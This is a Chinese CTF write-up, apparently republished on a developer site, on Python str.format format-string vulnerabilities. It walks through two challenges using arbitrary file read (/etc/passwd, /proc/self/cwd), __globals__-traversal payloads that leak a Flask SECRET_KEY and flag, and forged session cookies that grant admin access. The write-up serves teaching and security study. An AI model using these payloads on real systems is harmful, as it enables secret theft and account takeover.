从两道CTF实例看python格式化字符串漏洞

栏目: Python · 发布时间: 5年前

内容简介:pyhton中,存在几种格式化字符串的方式,然而当我们使用的方式不正确的时候,即格式化的字符串能够被我们控制时,就会导致一些严重的问题,比如获取敏感信息

从两道CTF实例看 <a href='https://www.codercto.com/topics/20097.html'>python</a> 格式化字符串漏洞

什么是python格式化字符串漏洞

pyhton中,存在几种格式化字符串的方式,然而当我们使用的方式不正确的时候,即格式化的字符串能够被我们控制时,就会导致一些严重的问题,比如获取敏感信息

python常见的格式化字符串

百分号形式进行格式化字符串

>>> name = 'Hu3sky'
>>> 'My name is %s' %name
'My name is Hu3sky'

使用标准库中的模板字符串

string.Template()

>>> from string import Template
>>> name = 'Hu3sky'
>>> s = Template('My name is $name')
>>> s.substitute(name=name)
'My name is Hu3sky'

使用format进行格式化字符串

format的使用就很灵活了,比如以下

最普通的用法就是直接格式化字符串

>>> 'My name is {}'.format('Hu3sky')
'My name is Hu3sky'

指定位置

>>> 'Hello {0} {1}'.format('World','Hacker')
'Hello World Hacker'
>>> 'Hello {1} {0}'.format('World','Hacker')
'Hello Hacker World'

设置参数

>>> 'Hello {name} {age}'.format(name='Hacker',age='17')
'Hello Hacker 17'

百分比格式

>>> 'We have {:.2%}'.format(0.25)
'We have 25.00%'

获取数组的键值

>>> '{arr[2]}'.format(arr=[1,2,3,4,5])
'3'

用法还有很多,就不一一列举了

这里看一种错误的用法

先是正常打印

>>> config = {'SECRET_KEY': 'f0ma7_t3st'}
>>> class User(object):
...     def __init__(self, name):
...             self.name = name
>>> 'Hello {name}'.format(name=user.name)
Hello hu3sky

恶意利用

>>> 'Hello {name}'.format(name=user.__class__.__init__.__globals__)
"Hello {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'config': {'SECRET_KEY': 'f0ma7_t3st'}, 'User': <class '__main__.User'>, 'user': <__main__.User object at 0x03242EF0>}"

可以看到,当我们的 name=user.__class__.__init__.__globals__ 时,就可以将很多敏感的东西给打印出来

SWPUCTF 皇家线上赌场

文件读取

根据首页弹出的xss,来到路径

http://107.167.188.241/static?file=test.js

接着发现任意文件读取

http://107.167.188.241/static?file=/etc/passwd

发现泄露:

http://107.167.188.241/source

文件目录

[root@localhost]# tree web
web/
├── app
│   ├── forms.py
│   ├── __init__.py
│   ├── models.py
│   ├── static
│   ├── templates
│   ├── utils.py
│   └── views.py
├── req.txt
├── run.py
├── server.log
├── start.sh
└── uwsgi.ini
[root@localhost]# cat views.py.bak
filename = request.args.get('file', 'test.js')
if filename.find('..') != -1:
    return abort(403)
filename = os.path.join('app/static', filename)
/etc/mtab文件:
/etc/mtab该文件也是记载当前系统已经装载的文件系统,包括一些操作系统虚拟文件,这跟/etc/fstab有些不同。/etc/mtab文件在mount挂载、umount卸载时都会被更新, 时刻跟踪当前系统中的分区挂载情况。

/proc/mounts文件:
其实还有个/proc/mounts,这个文件也记录当前系统挂载信息,通过比较,/etc/mtab有的内容,/proc/mounts也有,只是序有所不同,另外还多了一条根文件系统信息:

查看工作目录

/proc/mounts 或者 /etc/mtab

发现web

/home/ctf/web_assli3fasdf

但是除了

http://107.167.188.241/static?file=/home/ctf/web_assli3fasdf/app/static/test.js ,其余的文件都读不到

绕过目录限制

可以用 /proc/self/cwd 绕过,cwd是一个符号链接,指向了实际的工作目录

views.py http://107.167.188.241/static?file=/proc/self/cwd/app/views.py

def register_views(app):
    @app.before_request
    def reset_account():
        if request.path == '/signup' or request.path == '/login':
            return
        uname = username=session.get('username')
        u = User.query.filter_by(username=uname).first()
        if u:
            g.u = u
            g.flag = 'swpuctf{xxxxxxxxxxxxxx}'
            if uname == 'admin':
                return
            now = int(time())
            if (now - u.ts >= 600):
                u.balance = 10000
                u.count = 0
                u.ts = now
                u.save()
                session['balance'] = 10000
                session['count'] = 0

    @app.route('/getflag', methods=('POST',))
    @login_required
    def getflag():
        u = getattr(g, 'u')
        if not u or u.balance < 1000000:
            return '{"s": -1, "msg": "error"}'
        field = request.form.get('field', 'username')
        mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest()
        jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'
        return jdata.format(field, g.u, mhash)

非admin用户10分钟会重置一次,所以需要构造admin和大于1000000的钱

__init__.py : http://107.167.188.241/static?file=/proc/self/cwd/app/__init__.py

拿到s_key 即可伪造session

from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from .views import register_views
from .models import db


def create_app():
    app = Flask(__name__, static_folder='')
    app.secret_key = '9f516783b42730b7888008dd5c15fe66'
    app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/test.db'
    register_views(app)
    db.init_app(app)
    return app

利用脚本解密session

{'csrf_token': '1021549e4ee8bf4fb8fed45620974526275c04d8', 'count': 0, 'balance': 10000, 'username': 'hu3sky'}

接着用key伪造

"{'csrf_token': '10
21549e4ee8bf4fb8fed45620974526275c04d8', 'count': 0, 'balance': 1000000, 'username': 'admin'}"

从两道CTF实例看python格式化字符串漏洞

format格式化字符串漏洞

然后访问 /getflag
关键代码

def getflag():
        u = getattr(g, 'u')
        if not u or u.balance < 1000000:
            return '{"s": -1, "msg": "error"}'
        field = request.form.get('field', 'username')
        mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest()
        jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'
        return jdata.format(field, g.u, mhash)

这里是format格式化字符串漏洞

可以发现,最后的 jdata.format(field, g.u, mhash) 里的 field 是我们可控的, fieldrequest.form.getrequest 上下文中的 get 方法获取到的

于是大致的思路是找到 g 对象所在的命名空间,找到 getflag 方法,然后调 __globals__ 获取所有变量,再从 getflag 方法中取出 g 对象。由于提升了有 save 方法

所以最后构造的payload

field=save.__globals__[SQLAlchemy].__init__.__globals__[current_app].__dict__[view_functions][getflag].__globals__[g].flag

百越杯Easy flask

环境: https://github.com/hongriSec/CTF-Training/tree/master/2018/%E7%99%BE%E8%B6%8A%E6%9D%AF2018/Web

环境搭建

修改工作目录名为flaskr

然后 set FLASK_APP=__init__.py

接着 flask init-db 初始化数据库

就可以 flask run

用户遍历

打开题目,有注册和登陆(源码里没附css。。搭出来的环境界面很简单)

从两道CTF实例看python格式化字符串漏洞

先注册账号

登陆

从两道CTF实例看python格式化字符串漏洞

可以看到有一个 edit secert 的功能

从两道CTF实例看python格式化字符串漏洞

提交后会显示在页面上

从两道CTF实例看python格式化字符串漏洞

观察url

views?id=6

于是我们修改id,发现可以遍历用户,在id=5时是admin

从两道CTF实例看python格式化字符串漏洞

源码审计

通过www-zip下载到源码

目录结构

从两道CTF实例看python格式化字符串漏洞

几个关键点

auth.py

... //省略
@bp_auth.route('/flag')
@login_check
def get_flag():
    if(g.user.username=="admin"):
        with open(os.path.dirname(__file__)+'/flag','rb') as f:
            flag = f.read()
        return flag
    return "Not admin!!"
    ...//省略

secert.py

...//省略
@bp_secert.route('/views',methods = ['GET','POST'])
@login_check
def views_info():
    view_id = request.args.get('id')
    if not view_id:
        view_id = session.get('user_id')

    user_m = user.query.filter_by(id=view_id).first()

    if user_m is None:
        flash(u"该用户未注册")
        return render_template('secert/views.html')

    if str(session.get('user_id'))==str(view_id):
        secert_m = secert.query.filter_by(id=view_id).first()
        secert_t = u"<p>{secert.secert}<p>".format(secert = secert_m)
    else:
        secert_t = u"<p>***************************************<p>"

    name = u"<h1>name:{user_m.username}<h1>"
    email = u"<h2>email:{user_m.email}<h2>"

    info = (name+email+secert_t).format(user_m=user_m)
    return render_template('secert/views.html',info = info)

    ...//省略

format格式化字符串

从auth可以看到,当用户是admin的时候才可以访问 /flag
在已登录的用户里发现了session

从两道CTF实例看python格式化字符串漏洞

用脚本解密

(test_py3) λ python flask_session解密.py "eyJ1c2VyX2lkIjo2fQ.XFKzTQ.Ucu4Lbwm0b0nJM8QM_9j41MGkPc
"
{'user_id': 6}

于是现在思路很明确了

伪造成admin->访问/flag->get flag

那么现在就要想办法拿到 SECRET_KEY 这样才能伪造session

在secret.py

从两道CTF实例看python格式化字符串漏洞

两处format,第一处的secret是我们可控的,就是edit secert,于是测试

当我提交 {user_m.password}

从两道CTF实例看python格式化字符串漏洞

出现了sha256加密的密码,于是我们就可以通过这里去读SECRET_KEY

从两道CTF实例看python格式化字符串漏洞

secert.py 的开头 importcurrent_app ,于是可以通过获取 current_app 来获取 SECRET_KEY
payload

{user_m.__class__.__mro__[1].__class__.__mro__[0].__init__.__globals__[SQLAlchemy].__init__.__globals__[current_app].config}

Session伪造

获取到 SECRET_KEY 后,就是利用脚本伪造session了

利用加密脚本生成session

(test_py3) λ python flask_session加密.py encode -t "{'user_id': 5}" -s "test"
eyJ1c2VyX2lkIjo1fQ.XFLUdg.rVvk_CdUlXvLedmJSCD8YYUABZg

修改session后

从两道CTF实例看python格式化字符串漏洞

访问 /flag

从两道CTF实例看python格式化字符串漏洞

总结

在一般的CTF中,通常格式化字符串漏洞会和session机制的问题,SSTI等一起出现.一般来说,在审计源码的过程中,看到了使用format,且可控,那基本上就可以认为是format格式化字符串漏洞了。


以上所述就是小编给大家介绍的《从两道CTF实例看python格式化字符串漏洞》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

从“为什么”开始

从“为什么”开始

[美] 西蒙·斯涅克 / 苏西 / 海天出版社 / 2011-7 / 32.00元

影响人类的行为:要么靠操纵,要么靠感召。 操纵带来的是交易,是短期效益; 感召带来的是信任,是永续经营! 盖茨走后,微软面临怎样的挑战?后盖茨时代,微软为何从一个希望改变世界的公司沦落为一个做软件的公司? 沃尔玛的灵魂人物过世后,一度被人们热爱的公司,遭到的竟然多是顾客、员工的反感?沃尔玛要怎样做才能重放昔日光彩? 星巴克吸引人们购买的不是咖啡,而是理念?为什么说霍华......一起来看看 《从“为什么”开始》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

SHA 加密
SHA 加密

SHA 加密工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具